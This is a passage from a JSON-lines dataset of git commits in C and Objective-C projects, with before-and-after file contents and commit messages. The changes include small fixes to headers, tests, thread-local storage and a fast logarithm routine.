category\n","lang":"C","license":"apache-2.0","repos":"AlexanderMazaletskiy\/realm-cocoa,codyDu\/realm-cocoa,Palleas\/realm-cocoa,sunzeboy\/realm-cocoa,duk42111\/realm-cocoa,isaacroldan\/realm-cocoa,Palleas\/realm-cocoa,hejunbinlan\/realm-cocoa,nathankot\/realm-cocoa,brasbug\/realm-cocoa,kevinmlong\/realm-cocoa,lumoslabs\/realm-cocoa,ChenJian345\/realm-cocoa,bestwpw\/realm-cocoa,kylebshr\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,lumoslabs\/realm-cocoa,HuylensHu\/realm-cocoa,duk42111\/realm-cocoa,kevinmlong\/realm-cocoa,amuramoto\/realm-objc,lumoslabs\/realm-cocoa,hejunbinlan\/realm-cocoa,amuramoto\/realm-objc,sunfei\/realm-cocoa,codyDu\/realm-cocoa,zilaiyedaren\/realm-cocoa,tenebreux\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,dilizarov\/realm-cocoa,zilaiyedaren\/realm-cocoa,isaacroldan\/realm-cocoa,imjerrybao\/realm-cocoa,sunfei\/realm-cocoa,amuramoto\/realm-objc,yuuki1224\/realm-cocoa,tenebreux\/realm-cocoa,yuuki1224\/realm-cocoa,ul7290\/realm-cocoa,kylebshr\/realm-cocoa,lumoslabs\/realm-cocoa,codyDu\/realm-cocoa,nathankot\/realm-cocoa,hejunbinlan\/realm-cocoa,isaacroldan\/realm-cocoa,nathankot\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,duk42111\/realm-cocoa,brasbug\/realm-cocoa,ul7290\/realm-cocoa,imjerrybao\/realm-cocoa,isaacroldan\/realm-cocoa,neonichu\/realm-cocoa,nathankot\/realm-cocoa,dilizarov\/realm-cocoa,sunfei\/realm-cocoa,iOSCowboy\/realm-cocoa,bugix\/realm-cocoa,ChenJian345\/realm-cocoa,Palleas\/realm-cocoa,bestwpw\/realm-cocoa,hejunbinlan\/realm-cocoa,iOSCowboy\/realm-cocoa,iOSCowboy\/realm-cocoa,lumoslabs\/realm-cocoa,neonichu\/realm-cocoa,kylebshr\/realm-cocoa,amuramoto\/realm-objc,ChenJian345\/realm-cocoa,xmartlabs\/realm-cocoa,thdtjsdn\/realm-cocoa,kevinmlong\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,xmartlabs\/realm-cocoa,tenebreux\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,vuchau\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,bestwpw\/realm-cocoa,codyDu\/realm-cocoa,brasbug\/realm-cocoa,kevinmlong\/realm-cocoa,kylebshr\/realm-cocoa,xmartlabs\/realm-cocoa,imjerrybao\/realm-cocoa,dilizarov\/realm-cocoa,iOSCowboy\/realm-cocoa,codyDu\/realm-cocoa,dilizarov\/realm-cocoa,xmartlabs\/realm-cocoa,nathankot\/realm-cocoa,vuchau\/realm-cocoa,dilizarov\/realm-cocoa,hejunbinlan\/realm-cocoa,bugix\/realm-cocoa,neonichu\/realm-cocoa,duk42111\/realm-cocoa,sunzeboy\/realm-cocoa,tenebreux\/realm-cocoa,sunzeboy\/realm-cocoa,ul7290\/realm-cocoa,Havi4\/realm-cocoa,neonichu\/realm-cocoa,yuuki1224\/realm-cocoa,imjerrybao\/realm-cocoa,ul7290\/realm-cocoa,vuchau\/realm-cocoa,HuylensHu\/realm-cocoa,amuramoto\/realm-objc,sunfei\/realm-cocoa,HuylensHu\/realm-cocoa,yuuki1224\/realm-cocoa,neonichu\/realm-cocoa,Havi4\/realm-cocoa,brasbug\/realm-cocoa,zilaiyedaren\/realm-cocoa,isaacroldan\/realm-cocoa,AlexanderMazaletskiy\/realm-cocoa,ChenJian345\/realm-cocoa,Havi4\/realm-cocoa,vuchau\/realm-cocoa,brasbug\/realm-cocoa,Palleas\/realm-cocoa,thdtjsdn\/realm-cocoa,thdtjsdn\/realm-cocoa,Havi4\/realm-cocoa,bugix\/realm-cocoa,bugix\/realm-cocoa,thdtjsdn\/realm-cocoa,bestwpw\/realm-cocoa,tenebreux\/realm-cocoa,HuylensHu\/realm-cocoa,sunfei\/realm-cocoa,xmartlabs\/realm-cocoa,kylebshr\/realm-cocoa,duk42111\/realm-cocoa,iOSCowboy\/realm-cocoa,sunzeboy\/realm-cocoa,sunzeboy\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,ChenJian345\/realm-cocoa,thdtjsdn\/realm-cocoa,bugix\/realm-cocoa,iOS--wsl--victor\/realm-cocoa,HuylensHu\/realm-cocoa,bestwpw\/realm-cocoa,imjerrybao\/realm-cocoa,zilaiyedaren\/realm-cocoa,kevinmlong\/realm-cocoa,Havi4\/realm-cocoa,Palleas\/realm-cocoa,zilaiyedaren\/realm-cocoa,ul7290\/realm-cocoa,vuchau\/realm-cocoa,yuuki1224\/realm-cocoa"}
{"commit":"6e1c270aefe2b1387fabd533c8a48cd1a37bdfe7","old_file":"exec\/cnex\/support.h","new_file":"exec\/cnex\/support.h","old_contents":"#ifndef SUPPORT_H\n#define SUPPORT_H\n\n#include <stdio.h>\n\nstruct tagTModule;\n\ntypedef struct tagTExtensionModule {\n        char *module;\n        void *handle;\n} TExtensionModule;\n\ntypedef struct tagTExtensions {\n    TExtensionModule *modules;\n    size_t size;\n} TExtenstions;\n\nvoid path_initPaths(const char *source_path);\nvoid path_freePaths();\nvoid path_readModule(struct tagTModule *m);\nvoid path_dumpPaths();\n\nFILE *path_findModule(const char *name, char *modulePath);\n\nchar *path_getFileNameOnly(char *path);\nchar *path_getPathOnly(char *path);\n\nTExtensionModule *ext_findModule(const char *moduleName);\nvoid ext_insertModule(const char *name, void *handle);\nvoid ext_cleanup(void);\n\n#endif\n","new_contents":"#ifndef SUPPORT_H\n#define SUPPORT_H\n\n#include <stdio.h>\n\nstruct tagTModule;\n\ntypedef struct tagTExtensionModule {\n    char *module;\n    void *handle;\n} TExtensionModule;\n\ntypedef struct tagTExtensions {\n    TExtensionModule *modules;\n    size_t size;\n} TExtenstions;\n\nvoid path_initPaths(const char *source_path);\nvoid path_freePaths();\nvoid path_readModule(struct tagTModule *m);\nvoid path_dumpPaths();\n\nFILE *path_findModule(const char *name, char *modulePath);\n\nchar *path_getFileNameOnly(char *path);\nchar *path_getPathOnly(char *path);\n\nTExtensionModule *ext_findModule(const char *moduleName);\nvoid ext_insertModule(const char *name, void *handle);\nvoid ext_cleanup(void);\n\n#endif\n","subject":"Fix incorrect indentation in TExtensionModule struct","message":"Fix incorrect indentation in TExtensionModule struct\n","lang":"C","license":"mit","repos":"gitlarryf\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,ghewgill\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,gitlarryf\/neon-lang,gitlarryf\/neon-lang,gitlarryf\/neon-lang"}
{"commit":"568b603030b89d01f4914c1d9196440337bab3e7","old_file":"ext\/pycall\/thread.c","new_file":"ext\/pycall\/thread.c","old_contents":"#include \"pycall_internal.h\"\n\n#if defined(PYCALL_THREAD_WIN32)\nint pycall_tls_create(pycall_tls_key *tls_key)\n{\n  *tls_key = TlsAlloc();\n  return *tls_key == TLS_OUT_OF_INDEXES;\n}\n\nvoid *pycall_tls_get(pycall_tls_key tls_key)\n{\n  return TlsGetValue(tls_key);\n}\n\nint pycall_tls_set(pycall_tls_key tls_key, void *ptr)\n{\n  return TlsSetValue(tls_key, th) == 0;\n}\n#endif\n\n#if defined(PYCALL_THREAD_PTHREAD)\nint pycall_tls_create(pycall_tls_key *tls_key)\n{\n  return pthread_key_create(tls_key, NULL);\n}\n\nvoid *pycall_tls_get(pycall_tls_key tls_key)\n{\n  return pthread_getspecific(tls_key);\n}\n\nint pycall_tls_set(pycall_tls_key tls_key, void *ptr)\n{\n  return pthread_setspecific(tls_key, ptr);\n}\n#endif\n","new_contents":"#include \"pycall_internal.h\"\n\n#if defined(PYCALL_THREAD_WIN32)\nint pycall_tls_create(pycall_tls_key *tls_key)\n{\n  *tls_key = TlsAlloc();\n  return *tls_key == TLS_OUT_OF_INDEXES;\n}\n\nvoid *pycall_tls_get(pycall_tls_key tls_key)\n{\n  return TlsGetValue(tls_key);\n}\n\nint pycall_tls_set(pycall_tls_key tls_key, void *ptr)\n{\n  return 0 == TlsSetValue(tls_key, ptr);\n}\n#endif\n\n#if defined(PYCALL_THREAD_PTHREAD)\nint pycall_tls_create(pycall_tls_key *tls_key)\n{\n  return pthread_key_create(tls_key, NULL);\n}\n\nvoid *pycall_tls_get(pycall_tls_key tls_key)\n{\n  return pthread_getspecific(tls_key);\n}\n\nint pycall_tls_set(pycall_tls_key tls_key, void *ptr)\n{\n  return pthread_setspecific(tls_key, ptr);\n}\n#endif\n","subject":"Fix compile error on Windows","message":"Fix compile error on Windows\n","lang":"C","license":"mit","repos":"mrkn\/pycall,mrkn\/pycall,mrkn\/pycall.rb,mrkn\/pycall,mrkn\/pycall.rb,mrkn\/pycall,mrkn\/pycall.rb,mrkn\/pycall.rb"}
{"commit":"9a6d7f4f5c4e29d69a151b6218ff6e8cc9582e7f","old_file":"timing-test.c","new_file":"timing-test.c","old_contents":"#include \"lib\/timing.h\"\n\ntask main()\n{\n\twriteDebugStreamLine(\"Waiting 1 second\");\n\tresetTimeDelta();\n\tgetTimeDelta();\n\twait1Msec(1000);\n\twriteDebugStreamLine(\"delta: %d\", getTimeDelta());\n\n\twriteDebugStreamLine(\"Waiting 5 seconds\");\n\tresetTimeDelta();\n\tgetTimeDelta();\n\twait1Msec(5000);\n\twriteDebugStreamLine(\"delta: %d\", getTimeDelta());\n\n\twriteDebugStreamLine(\"Waiting 10 seconds\");\n\tresetTimeDelta();\n\tgetTimeDelta();\n\twait1Msec(10000);\n\twriteDebugStreamLine(\"delta: %d\", getTimeDelta());\n}\n","new_contents":"#include \"lib\/timing.h\"\n\ntask main()\n{\n\t\/\/ getTimeDelta()\n\twriteDebugStreamLine(\"Testing getTimeDelta()\");\n\twriteDebugStreamLine(\"Waiting 1 second\");\n\tresetTimeDelta();\n\tgetTimeDelta();\n\twait1Msec(1000);\n\twriteDebugStreamLine(\"delta: %d\", getTimeDelta());\n\n\twriteDebugStreamLine(\"Waiting 5 seconds\");\n\tresetTimeDelta();\n\tgetTimeDelta();\n\twait1Msec(5000);\n\twriteDebugStreamLine(\"delta: %d\", getTimeDelta());\n\n\twriteDebugStreamLine(\"Waiting 10 seconds\");\n\tresetTimeDelta();\n\tgetTimeDelta();\n\twait1Msec(10000);\n\twriteDebugStreamLine(\"delta: %d\", getTimeDelta());\n\n\twriteDebugStreamLine(\"Testing getTimeDeltaTimer() (using default timer)\");\n\twriteDebugStreamLine(\"Waiting 1 second\");\n\tresetTimeDeltaTimer();\n\tgetTimeDeltaTimer();\n\twait1Msec(1000);\n\twriteDebugStreamLine(\"delta: %d\", getTimeDeltaTimer());\n\n\twriteDebugStreamLine(\"Waiting 5 seconds\");\n\tresetTimeDeltaTimer();\n\tgetTimeDeltaTimer();\n\twait1Msec(5000);\n\twriteDebugStreamLine(\"delta: %d\", getTimeDeltaTimer());\n\n\twriteDebugStreamLine(\"Waiting 10 seconds\");\n\tresetTimeDeltaTimer();\n\tgetTimeDeltaTimer();\n\twait1Msec(10000);\n\twriteDebugStreamLine(\"delta: %d\", getTimeDeltaTimer());\n}\n","subject":"Add tests for alternative timing method","message":"Add tests for alternative timing method\n","lang":"C","license":"mit","repos":"patrickmess\/ftc-2013,patrickmess\/ftc-2013"}
{"commit":"b933e0fbb8c85434bf54f772dd07b57e52440089","old_file":"cocoa\/BugsnagReactNative.h","new_file":"cocoa\/BugsnagReactNative.h","old_contents":"#import <Foundation\/Foundation.h>\n\n#import <React\/RCTBridgeModule.h>\n\n#if __has_include(<React\/RCTBridge.h>)\n\/\/ React Native >= 0.40\n#import <React\/RCTBridge.h>\n#else\n\/\/ React Native <= 0.39\n#import \"RCTBridge.h\"\n#endif\n\n@class BugsnagConfiguration;\n\n@interface BugsnagReactNative: NSObject <RCTBridgeModule>\n\n\/**\n * Initializes the crash handler with the default options and using the API key\n * stored in the Info.plist using the key \"BugsnagAPIKey\"\n *\/\n+ (void)start;\n\/**\n * Initializes the crash handler with the default options\n * @param APIKey the API key to use when sending error reports\n *\/\n+ (void)startWithAPIKey:(NSString *)APIKey;\n\/**\n * Initializes the crash handler with custom options\n * @param config the configuration options to use\n *\/\n+ (void)startWithConfiguration:(BugsnagConfiguration *)config;\n\n- (void)startWithOptions:(NSDictionary *)options;\n- (void)leaveBreadcrumb:(NSDictionary *)options;\n- (void)notify:(NSDictionary *)payload;\n- (void)setUser:(NSDictionary *)userInfo;\n- (void)clearUser;\n- (void)startSession;\n\n@end\n","new_contents":"#import <Foundation\/Foundation.h>\n\n#import <React\/RCTBridgeModule.h>\n\n#if __has_include(<React\/RCTBridge.h>)\n\/\/ React Native >= 0.40\n#import <React\/RCTBridge.h>\n#else\n\/\/ React Native <= 0.39\n#import \"RCTBridge.h\"\n#endif\n\n@class BugsnagConfiguration;\n\n@interface BugsnagReactNative: NSObject <RCTBridgeModule>\n\n\/**\n * Initializes the crash handler with the default options and using the API key\n * stored in the Info.plist using the key \"BugsnagAPIKey\"\n *\/\n+ (void)start;\n\/**\n * Initializes the crash handler with the default options\n * @param APIKey the API key to use when sending error reports\n *\/\n+ (void)startWithAPIKey:(NSString *)APIKey;\n\/**\n * Initializes the crash handler with custom options\n * @param config the configuration options to use\n *\/\n+ (void)startWithConfiguration:(BugsnagConfiguration *)config;\n\n- (void)startWithOptions:(NSDictionary *)options;\n- (void)leaveBreadcrumb:(NSDictionary *)options;\n- (void)notify:(NSDictionary *)payload\n       resolve:(RCTPromiseResolveBlock)resolve\n        reject:(RCTPromiseRejectBlock)reject;\n- (void)setUser:(NSDictionary *)userInfo;\n- (void)clearUser;\n- (void)startSession;\n\n@end\n","subject":"Synchronize decl and impl of notify(…)","message":"fix: Synchronize decl and impl of notify(…)","lang":"C","license":"mit","repos":"bugsnag\/bugsnag-react-native,bugsnag\/bugsnag-react-native,bugsnag\/bugsnag-react-native,bugsnag\/bugsnag-react-native,bugsnag\/bugsnag-react-native"}
{"commit":"322b07ff24932fb0e59114e30620e47501a84191","old_file":"core\/imt\/inc\/LinkDef.h","new_file":"core\/imt\/inc\/LinkDef.h","old_contents":"#ifdef __CLING__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n\/\/ Only for the autoload, autoparse. No IO of these classes is foreseen!\n#pragma link C++ class ROOT::Internal::TPoolManager-;\n#pragma link C++ class ROOT::TThreadExecutor-;\n#pragma link C++ class ROOT::Experimental::TTaskGroup-;\n\n#endif\n","new_contents":"#ifdef __CLING__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n\/\/ Only for the autoload, autoparse. No IO of these classes is foreseen!\n\/\/ Exclude in case ROOT does not have IMT support\n#ifdef R__USE_IMT\n#pragma link C++ class ROOT::Internal::TPoolManager-;\n#pragma link C++ class ROOT::TThreadExecutor-;\n#pragma link C++ class ROOT::Experimental::TTaskGroup-;\n#endif\n\n#endif\n","subject":"Fix warning during dictionary generation in no-imt builds","message":"[IMT] Fix warning during dictionary generation in no-imt builds\n","lang":"C","license":"lgpl-2.1","repos":"karies\/root,olifre\/root,olifre\/root,karies\/root,karies\/root,olifre\/root,olifre\/root,olifre\/root,olifre\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,olifre\/root,root-mirror\/root,root-mirror\/root,olifre\/root,karies\/root,karies\/root,karies\/root,root-mirror\/root,root-mirror\/root,olifre\/root,karies\/root,karies\/root,karies\/root,root-mirror\/root,olifre\/root,karies\/root,olifre\/root,root-mirror\/root,root-mirror\/root,root-mirror\/root,karies\/root"}
{"commit":"b858676194b9e384789bc9d506136c37e5da015a","old_file":"src\/validation.h","new_file":"src\/validation.h","old_contents":"\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2015 The Bitcoin Core developers\n\/\/ Copyright (c) 2014-2017 The Dash Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_VALIDATION_H\n#define BITCOIN_VALIDATION_H\n\n#include <stdint.h>\n#include <string>\n\nstatic const int64_t DEFAULT_MAX_TIP_AGE = 6 * 60 * 60; \/\/ ~144 blocks behind -> 2 x fork detection time, was 24 * 60 * 60 in bitcoin\n\nextern int64_t nMaxTipAge;\n\nFILE* OpenBlockFile(unsigned int nFile, unsigned int nBlockPos, const char* pszMode=\"rb\");\nFILE* AppendBlockFile(unsigned int& nFileRet);\n\nbool IsInitialBlockDownload();\n\n#endif \/\/ BITCOIN_VALIDATION_H\n","new_contents":"\/\/ Copyright (c) 2009-2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2015 The Bitcoin Core developers\n\/\/ Copyright (c) 2014-2017 The Dash Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef BITCOIN_VALIDATION_H\n#define BITCOIN_VALIDATION_H\n\n#include <stdint.h>\n#include <string>\n\nstatic const int64_t DEFAULT_MAX_TIP_AGE = 1 * 60 * 60; \/\/ ~45 blocks behind -> 2 x fork detection time, was 24 * 60 * 60 in bitcoin\n\nextern int64_t nMaxTipAge;\n\nFILE* OpenBlockFile(unsigned int nFile, unsigned int nBlockPos, const char* pszMode=\"rb\");\nFILE* AppendBlockFile(unsigned int& nFileRet);\n\nbool IsInitialBlockDownload();\n\n#endif \/\/ BITCOIN_VALIDATION_H\n","subject":"Adjust default max tip age","message":"Adjust default max tip age\n","lang":"C","license":"mit","repos":"neutroncoin\/neutron,neutroncoin\/neutron,neutroncoin\/neutron,neutroncoin\/neutron"}
{"commit":"40e67dea90605c430fae7e010090886f137d5107","old_file":"searchlib\/src\/vespa\/searchlib\/common\/sequencedtaskexecutor.h","new_file":"searchlib\/src\/vespa\/searchlib\/common\/sequencedtaskexecutor.h","old_contents":"\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include \"isequencedtaskexecutor.h\"\n#include <vector>\n\nnamespace vespalib {\n    struct ExecutorStats;\n    class SyncableThreadExecutor;\n}\n\nnamespace search {\n\n\/**\n * Class to run multiple tasks in parallel, but tasks with same\n * id has to be run in sequence.\n *\/\nclass SequencedTaskExecutor final : public ISequencedTaskExecutor\n{\n    using Stats = vespalib::ExecutorStats;\n    std::unique_ptr<std::vector<std::unique_ptr<vespalib::SyncableThreadExecutor>>> _executors;\n\n    SequencedTaskExecutor(std::unique_ptr<std::vector<std::unique_ptr<vespalib::SyncableThreadExecutor>>> executor);\npublic:\n    enum class Optimize {LATENCY, THROUGHPUT};\n    using ISequencedTaskExecutor::getExecutorId;\n\n    ~SequencedTaskExecutor();\n\n    void setTaskLimit(uint32_t taskLimit) override;\n    void executeTask(ExecutorId id, vespalib::Executor::Task::UP task) override;\n    void sync() override;\n    Stats getStats() override;\n    static std::unique_ptr<ISequencedTaskExecutor> create(uint32_t threads, uint32_t taskLimit = 1000, Optimize optimize = Optimize::THROUGHPUT);\n};\n\n} \/\/ namespace search\n","new_contents":"\/\/ Copyright 2017 Yahoo Holdings. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n#pragma once\n\n#include \"isequencedtaskexecutor.h\"\n#include <vector>\n\nnamespace vespalib {\n    struct ExecutorStats;\n    class SyncableThreadExecutor;\n}\n\nnamespace search {\n\n\/**\n * Class to run multiple tasks in parallel, but tasks with same\n * id has to be run in sequence.\n *\/\nclass SequencedTaskExecutor final : public ISequencedTaskExecutor\n{\n    using Stats = vespalib::ExecutorStats;\n    std::unique_ptr<std::vector<std::unique_ptr<vespalib::SyncableThreadExecutor>>> _executors;\n\n    SequencedTaskExecutor(std::unique_ptr<std::vector<std::unique_ptr<vespalib::SyncableThreadExecutor>>> executor);\npublic:\n    enum class Optimize {LATENCY, THROUGHPUT};\n    using ISequencedTaskExecutor::getExecutorId;\n\n    ~SequencedTaskExecutor();\n\n    void setTaskLimit(uint32_t taskLimit) override;\n    void executeTask(ExecutorId id, vespalib::Executor::Task::UP task) override;\n    void sync() override;\n    Stats getStats() override;\n\n    \/*\n     * Note that if you choose Optimize::THROUGHPUT, you must ensure only a single producer, or synchronize on the outside.\n     *\/\n    static std::unique_ptr<ISequencedTaskExecutor>\n    create(uint32_t threads, uint32_t taskLimit = 1000, Optimize optimize = Optimize::LATENCY);\n};\n\n} \/\/ namespace search\n","subject":"Add comment about thread safety.","message":"Add comment about thread safety.\n","lang":"C","license":"apache-2.0","repos":"vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa,vespa-engine\/vespa"}
{"commit":"b640cc489b65153efcb519feb9038d658b4bf005","old_file":"components\/run_command.c","new_file":"components\/run_command.c","old_contents":"\/* See LICENSE file for copyright and license details. *\/\n#include <errno.h>\n#include <stdio.h>\n#include <string.h>\n\n#include \"..\/util.h\"\n\nconst char *\nrun_command(const char *cmd)\n{\n\tchar *p;\n\tFILE *fp;\n\n\tif (!(fp = popen(cmd, \"r\"))) {\n\t\twarn(\"popen '%s':\", cmd);\n\t\treturn NULL;\n\t}\n\tp = fgets(buf, sizeof(buf) - 1, fp);\n\tpclose(fp);\n\tif (!p) {\n\t\treturn NULL;\n\t}\n\tif ((p = strrchr(buf, '\\n'))) {\n\t\tp[0] = '\\0';\n\t}\n\n\treturn buf[0] ? buf : NULL;\n}\n","new_contents":"\/* See LICENSE file for copyright and license details. *\/\n#include <errno.h>\n#include <stdio.h>\n#include <string.h>\n\n#include \"..\/util.h\"\n\nconst char *\nrun_command(const char *cmd)\n{\n\tchar *p;\n\tFILE *fp;\n\n\tif (!(fp = popen(cmd, \"r\"))) {\n\t\twarn(\"popen '%s':\", cmd);\n\t\treturn NULL;\n\t}\n\tp = fgets(buf, sizeof(buf) - 1, fp);\n\tif (pclose(fp) < 0) {\n\t\twarn(\"pclose '%s':\", cmd);\n\t\treturn NULL;\n\t}\n\tif (!p) {\n\t\treturn NULL;\n\t}\n\tif ((p = strrchr(buf, '\\n'))) {\n\t\tp[0] = '\\0';\n\t}\n\n\treturn buf[0] ? buf : NULL;\n}\n","subject":"Check return value of pclose()","message":"Check return value of pclose()\n","lang":"C","license":"isc","repos":"drkh5h\/slstatus,drkhsh\/slstatus"}
{"commit":"355f66f9f5de18497e7a3bb364d266cdd4e91cda","old_file":"mud\/home\/Verb\/initd.c","new_file":"mud\/home\/Verb\/initd.c","old_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2018  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths\/system.h>\n#include <kotaka\/privilege.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nprivate void load()\n{\n\tload_dir(\"sys\");\n}\n\nprivate void set_limits()\n{\n\treset_limits();\n}\n\nstatic void create()\n{\n\tload();\n\n\tset_limits();\n}\n\nvoid upgrade()\n{\n\tACCESS_CHECK(previous_program() == OBJECTD);\n\n\tset_limits();\n}\n","new_contents":"\/*\n * This file is part of Kotaka, a mud library for DGD\n * http:\/\/github.com\/shentino\/kotaka\n *\n * Copyright (C) 2018  Raymond Jennings\n *\n * This program is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <kotaka\/paths\/system.h>\n#include <kotaka\/privilege.h>\n\ninherit LIB_INITD;\ninherit UTILITY_COMPILE;\n\nprivate void load()\n{\n\tload_dir(\"sys\");\n}\n\nprivate void set_limits()\n{\n\treset_limits();\n}\n\nstatic void create()\n{\n\tset_limits();\n\n\tload();\n}\n\nvoid upgrade()\n{\n\tACCESS_CHECK(previous_program() == OBJECTD);\n\n\tset_limits();\n}\n","subject":"Set resource limits before loading","message":"Set resource limits before loading\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"3dd39e7abbe813ad63fe0137e6a1e17fcaa506c1","old_file":"tests\/regression\/29-svcomp\/31-dd-address-meet.c","new_file":"tests\/regression\/29-svcomp\/31-dd-address-meet.c","old_contents":"\/\/ PARAM: --enable annotation.int.enabled\n#include <stdlib.h>\n#include <goblint.h>\nstruct slotvec {\n   size_t size ;\n   char *val ;\n};\nstatic char slot0[256] ;\nstatic struct slotvec slotvec0 = {sizeof(slot0), slot0};\n\nstatic void install_signal_handlers(void)\n{\n  { if(!(slotvec0.val == & slot0[0LL])) {  reach_error(); abort(); } };\n}\n\nint main(int argc , char **argv )\n{\n  \/\/ Goblint used to consider both branches in this condition to be dead, because the meet on addresses with different active int domains was broken\n  { if(!(slotvec0.val == & slot0[0LL])) { reach_error(); abort(); } };\n  install_signal_handlers();\n\n  \/\/ Should be reachable\n  __goblint_check(1);\n  return 0;\n}\n","new_contents":"\/\/ PARAM: --enable annotation.int.enabled\n\/\/ This option enables ALL int domains for globals\n#include <stdlib.h>\n#include <goblint.h>\nstruct slotvec {\n   size_t size ;\n   char *val ;\n};\nstatic char slot0[256] ;\nstatic struct slotvec slotvec0 = {sizeof(slot0), slot0};\n\nstatic void install_signal_handlers(void)\n{\n  { if(!(slotvec0.val == & slot0[0LL])) {  reach_error(); abort(); } };\n}\n\nint main(int argc , char **argv )\n{\n  \/\/ Goblint used to consider both branches in this condition to be dead, because the meet on addresses with different active int domains was broken\n  { if(!(slotvec0.val == & slot0[0LL])) { reach_error(); abort(); } };\n  install_signal_handlers();\n\n  \/\/ Should be reachable\n  __goblint_check(1);\n  return 0;\n}\n","subject":"Add comment explaining impact of option in test case","message":"Add comment explaining impact of option in test case\n\nCo-authored-by: Michael Schwarz <002afe8b64400fa3cb5439d4dd87a0dc9a516d5f@gmail.com>","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"85dc3a8945fca037d130134cb687e6e6b188b596","old_file":"src\/math\/p_ln.c","new_file":"src\/math\/p_ln.c","old_contents":"#include <pal.h>\n\n\/**\n *\n * Calculates the natural logarithm of 'a', (where the base is 'e'=2.71828)\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @param p     Number of processor to use (task parallelism)\n *\n * @param team  Team to work with \n *\n * @return      None\n *\n *\/\n#include <math.h>\nvoid p_ln_f32(const float *a, float *c, int n, int p, p_team_t team)\n{\n\n    int i;\n    for (i = 0; i < n; i++) {\n        *(c + i) = logf(*(a + i));\n    }\n}\n","new_contents":"#include <pal.h>\n\n\/**\n *\n * Calculates the natural logarithm of 'a', (where the base is 'e'=2.71828)\n *\n * @param a     Pointer to input vector\n *\n * @param c     Pointer to output vector\n *\n * @param n     Size of 'a' and 'c' vector.\n *\n * @param p     Number of processor to use (task parallelism)\n *\n * @param team  Team to work with \n *\n * @return      None\n *\n *\/\n\nvoid p_ln_f32(const float *a, float *c, int n, int p, p_team_t team)\n{\n    int i;\n    for (i = 0; i < n; i++) {\n        union\n        {\n            float f;\n            uint32_t i;\n        } u = { *(a + i) };\n\n        \/\/ Calculate the exponent (which is the floor of the logarithm) minus one\n        int e = ((u.i >> 23) & 0xff) - 0x80;\n\n        \/\/ Mask off the exponent, leaving just the mantissa\n        u.i = (u.i & 0x7fffff) + 0x3f800000;\n\n        \/\/ Interpolate using a cubic minimax polynomial derived with\n        \/\/ the Remez exchange algorithm. Coefficients courtesy of Alex Kan.\n        \/\/ This approximates 1 + log2 of the mantissa.\n        float r = ((0.15824870f * u.f - 1.05187502f) * u.f + 3.04788415f) * u.f - 1.15360271f;\n\n        \/\/ The log2 of the complete value is then the sum\n        \/\/ of the previous quantities (the 1's cancel), and\n        \/\/ we find the natural log by scaling by log2(e).\n        *(c + i) = (e + r) * 0.69314718f;\n    }\n}","subject":"Implement faster natural log function","message":"Implement faster natural log function\n\nSigned-off-by: Warren Moore 